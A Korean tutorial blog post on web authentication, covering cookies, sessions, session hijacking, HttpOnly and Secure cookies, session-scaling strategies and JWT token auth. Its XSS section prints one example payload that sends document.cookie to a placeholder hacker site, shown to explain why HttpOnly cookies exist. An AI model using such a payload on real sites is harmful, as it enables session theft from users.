[네트워크] 쿠키와 세션, 토큰을 이용한 인증

 

 

 

 

🧐 인증 (Authentication)

식별 가능한 정보를 이용하여 서비스에 등록된 유저의 신원을 입증하는 과정을 의미합니다.

쉽게 말해서 로그인을 수행하는 것이 인증을 하는 것입니다.

 

 

 

 

 

🧐 인가 (Authorization)

인증된 사용자에 대해서 요청에 대한 권한을 확인하는 과정을 의미합니다.

예를 들어 티스토리에 로그인을 했다고 해서, 다른 사람이 쓴 글을 마음대로 수정할 수는 없습니다.

이는 다른 사람이 쓴 글을 수정할 권한이 없기 때문인데, 즉 인가되지 않았기 때문입니다.

 

 

 

 

 

 

 

🧐 인증 정보 유지하기

 

🤔 HTTP 프로토콜은 Connectionless하며 Stateless하다

HTTP는 클라이언트와 서버가 요청과 응답을 한번 주고받으면 바로 연결을 끊어버립니다.

이로 인해 요청을 보내기 위해서는 항상 새롭게 연결을 맺어야 하는 특징을 가집니다.

이를 Connectionless라 합니다.

 

또한 이러한 여러 요청들에 대한 정보에 대한 상태를 저장하지 않습니다.

이로 인해 이전에 전송한 요청과, 현재 들어온 요청이 아무런 관계를 가지지 않게 되며, 여러 서버가 존재하는 환경에서는 클라이언트 요청에 대해 어떠한 서버가 응답하더라도 상관이 없어집니다.

이를 Stateless라 부릅니다.

 

이러한 특징들로 인해 인증 정보 역시 유지되지 못하게 되며, 만약 인증이 필요한 특정 요청을 보내기 위해서는 매 요청마다 인증 정보를 전달해야 하는 문제가 있습니다.

 

이러한 문제를 해결하기 위해 쿠키를 사용할 수 있습니다.

 

 

 

 

 

🧐 쿠키

웹 브라우저에 Key-Value의 형태로 저장되는 작은 데이터를 의미합니다.

쿠키는 최초에 웹 서버에서 데이터를 담아 웹 브라우저로 전달해주는 식으로 생성됩니다.

이후 브라우저가 웹 서버에 요청할 때 헤더에 쿠키를 함께 담아서 전송합니다.

 

로그인 이후에 사용자 정보를 쿠키에 저장하고, 이후 요청 때마다 쿠키를 함께 전송하므로써 로그인을 유지시킬 수 있습니다.

 

 

🍪 쿠키의 종류

• 영속 쿠키 : 만료 날짜를 입력하면 해당 날짜까지 쿠키가 유지됩니다.
• 세션 쿠키 : 만료 날짜를 입력하지 않으면 쿠키는 브라우저 종료시까지만 유지됩니다.

 

스프링에서는 다음과 같이 쿠키를 생성하고 제공할 수 있습니다.

Cookie idCookie = new Cookie("memberId", String.valueOf(member.id());
response.addCookie(idCookie);

 

 

 

 

 

🤔 쿠키와 보안 문제

쿠키는 다음과 같은 보안 문제들을 가집니다.

• 쿠키 값은 임의로 변경할 수 있습니다.
• 쿠키에 보관된 정보는 훔쳐갈 수 있다.

 

쿠키에 들어있는 값은 사용자가 임의로 변경 가능합니다.

즉 member="말랑" 이라는 쿠키가 있는 경우, 이를 member="동훈" 이라는 식으로 변경하여 서버에 전송할 수 있습니다.

해당 값을 서버에서 바로 사용한다면 보안 문제가 발생할 수 있습니다.

 

 

또한 쿠키에 보관된 정보는 남이 훔쳐갈 위험이 있습니다.

쿠키를 탈취하는 공격을 세션 하이재킹이라 부릅니다.

 

 

 

 

 

🤔 세션 하이재킹 (Session hijacking)

쿠키에는 민감한 사용자 정보들이 담겨있을 수 있습니다.

해커들은 이러한 정보를 해킹하기 위해 쿠키를 탈취하려 시도합니다.

이때 사용하는 대표적인 공격이 세션 하이재킹입니다.

인증이 완료된 사용자의 브라우저에서 인증 정보가 담긴 세션 쿠키를 탈취하여
별도의 로그인 없이 해당 쿠키를 통해 서버와 통신하는 것을 의미합니다.

 

 

 

 

🤔 XSS (Cross Site Scripting)과 HTTP Only 쿠키

쿠키의 정보를 탈취하는 공격 방법입니다.

XSS는 공격자(해커)가 악의적인 스크립트 코드를 삽입하여 의도하지 않은 명령을 실행시키거나 세션 등을 탈취하는 공격을 의미합니다.

해커가 다음과 같이 코드를 작성하였고 사용자가 이를 클릭했다면, 해당 링크를 클릭한 사용자의 모든 쿠키가 해커에게 전송됩니다.

location.href = 'http://해커사이트/?cookies=' + document.cookie;

 

이러한 XSS 공격을 방지하기 위해 브라우저를 통해서는 쿠키에 접근할 수 없도록 제한할 수 있습니다.

이러한 역할을 하는 것이 HTTP Only 쿠키입니다.

 

 

 

 

 

🤔 Secure 쿠키

HTTP Only 쿠키를 사용하면 자바스크립트를 통한 쿠키 탈취 문제를 해결할 수 있었습니다.

그러나 자바스크립트 코드 대신 네트워크를 직접 감청하는 등의 방식으로도 쿠키를 가로챌 수 있습니다.

 

즉, 쿠키는 어떠한 방법으로도 탈취될 수 있다는 것입니다.

 

이러한 상황을 대비하기 위해, HTTPS 프로토콜을 사용할 수 있습니다.

HTTPS 프로토콜을 사용하여 쿠키에 대한 정보를 암호화하여 전송할 수 있습니다.

 

그런데 쿠키는 기본적으로 모든 요청에 포함되어 전송됩니다.

즉 HTTPS 프로토콜이 아니라도 기본적으로 쿠키의 정보는 전달되는 것이죠.

이러한 문제를 해결하기 위해 HTTPS 프로토콜을 사용할 때에만 쿠키를 전달하는 방법이 있습니다.

바로 Secure 쿠키를 사용하는 것입니다.

 

 

 

 

 

 

🧐 세션

위에서 살펴본 것과 같이 쿠키에 민감한 개인 정보가 들어있다면 탈취된 경우 큰 문제가 발생할 수 있습니다.

이러한 보안 문제들을 해결하기 위해서는 민감한 정보들을 모두 서버에 저장해야 합니다.

 

이렇게 서버에 중요한 정보를 보관하고, 연결을 유지하는 방법을 세션이라 합니다.

 

세션은 인증된 사용자에 대한 식별자에 대응되는 임의의 문자열(SessionID)을 생성합니다.

이렇게 생성된 SessionID를 쿠키에 담아 전달하게 된다면, 결국 클라이언트는 민감한 정보가 들어있지 않는 쿠키를 바탕으로 인증을 진행할 수 있게 됩니다.

 

 

 

 

 

🤔 쿠키와 세션의 차이

우선 세션 방식을 사용하기 위해서는 쿠키 역시 필요합니다.(생성된 세션에 대한 SessionID가 쿠키에 저장됨)

쿠키는 클라이언트에 저장되며, 세션은 서버에 저장됩니다.

쿠키는 로컬에 저장되므로 탈취, 변조등의 위험이 존재하는 반면, 세션은 서버에 저장되므로 쿠키에 비해 비교적 안전합니다.

그러나 세션은 쿠키에 비해 느리기 때문에, 쿠키와 세션을 적절히 병행해서 사용하는 것이 좋습니다.

 

 

 

 

 

 

🤔 세션 기반 인증의 문제점

서비스를 이용하는 사용자가 많아져서 서버를 확장할 상황에 처했다고 가정하겠습니다.

서버를 확장하는 방법으로는 대체로 스케일 아웃을 사용합니다.

스케일 아웃은 수평 확장이라고도 불리며 여러 대의 서버를 추가로 사용함으로써 성능을 증가시키는 방법입니다.

스케일 아웃 방식을 사용하면 서버 별로 세션을 따로 관리하기 때문에 세션 불일치 문제가 발생하게 됩니다.

https://liasn.tistory.com/3

 

 

이러한 세션 불일치 문제를 해결하기 위해서는 Sticky Session, Session Clustering, Session Storage 방식을 사용할 수 있습니다.

 

 

 

 

 

🤔 Sticky Session

동일한 클라이언트(세션)의 요청을 처음 요청이 처리된 서버로만 보내는 방법입니다.

요청을 특정 서버로 고정시키는 방법은 쿠키를 사용하거나 클라이언트의 IP등을 확인하여 판단할 수 있습니다.

https://smjeon.dev/web/sticky-session/

이는 로드 밸런서를 설정함으로써 사용 가능한 방식이지만, 트래픽이 한 곳으로 몰릴 수 있다는 단점이 있습니다.

또한 서버의 가용성을 최대한 활용하지 못한다는 단점도 존재합니다.

 

 

 

 

 

 

 

🤔 Session Clustering

특정 서버에서 세션이 생성되는 경우, 이를 다른 서버로 전파하여 세션을 복제하는 방식으로 세션 불일치 문제를 해결합니다.

https://smjeon.dev/web/sticky-session/

Session Clustering을 위해서는 WAS에서 제공해주는 방법을 이용할 수 있습니다.

WAS마다 Session Clustering을 지원하는 방식이 다르기 때문에, 사용하는 WAS에 따라 따로 설정 방법을 확인해서 적용해줘야 합니다.

 

해당 방식은 scale out을 진행할 때, 새로운 서버가 추가될 때마다 기존에 존재하던 WAS에 새로운 서버의 IP/Port를 입력해주어야 한다는 단점이 있습니다.

즉 새로운 서버가 띄워짐에 따라 기존 서버에 수정이 발생하고, 이로 인해 휴먼 애러가 발생할 가능성이 높아집니다.

 

 

 

 

 

 

 

🤔 Session Server 분리

세션을 저장하는 세션 서버를 외부 서버로 분리하여 사용하는 방식입니다.

https://smjeon.dev/web/sticky-session/

이때 세션 서버로는 디스크 기반의 Mysql, MongoDB등을 사용할 수 있지만, 입출력이 잦은 세션의 특성 상 In-Memory DB인 Redis 등을 사용하는 것이 일반적입니다.

 

 

이와 같은 방식은 새로운 서버를 띄우더라도 기존 서버의 수정이 발생하지 않는다는 장점이 있지만,

외부 서버를 거쳐야 하므로 성능이 조금 느려지며, 분리된 세션 서버가 죽는 순간 모든 세션이 사라지기 때문에 해당 세션 서버의 다중화와 데이터베이스의 Reflecation도 고려해야 합니다.

 

 

 

 

 

 

 

 

 

 

🧐 토큰 기반 인증

위와 같이 세션을 사용하는 인증은 scale out 환경에서 처리가 복잡해진다는 문제가 있었습니다.

토큰 기반의 인증을 사용하면 이러한 문제점을 해결할 수 있게됩니다.

 

세션 기반 인증은 인증 정보를 서버에 저장하는 방식으로 구현되었지만, 토큰 기반 인증은 쿠키와 비슷하게 인증 정보를 클라이언트가 직접 들고 있는 방식입니다.

인증 정보는 토큰의 형태로 쿠키 혹은 브라우저의 로컬 스토리지에 저장됩니다.

 

토큰 기반 인증에서는 사용자가 가진 토큰을 HTTP의 Authorization 헤더에 실어서 보냅니다.

이 헤더를 수신한 서버는 토큰이 위변조 되었거나, 만료 시각이 지나지 않은지 확인한 이후 토큰에 담겨있는 사용자 인증 정보를 확인해 사용자를 인가합니다.

 

JWT는 사용자의 정보를 암호화하여 클라이언트에 전송하지만, 탈취되는 경우 쉽게 복호화할 수 있기 때문에 JWT에는 중요한 개인정보를 넣어서는 안됩니다.

 

 

 

🤔 토큰 기반 인증의 장단점

토큰은 세션에 비해 서버에 전송되는 데이터의 양이 훨씬 많습니다.

또한 토큰은 탈취되는 경우 바로 데이터를 확인할 수 있기 때문에 민감한 데이터를 담으면 안되는 단점이 있습니다.

 

그럼에도 불구하고 세션 방식에 비해 scale out 관점에서 별도로 처리해주어야 할 것들이 없어진다는 장점이 있고, 이러한 이유로 인해 많은 서버에서 토큰(JWT) 방식을 사용하여 개발을 진행합니다.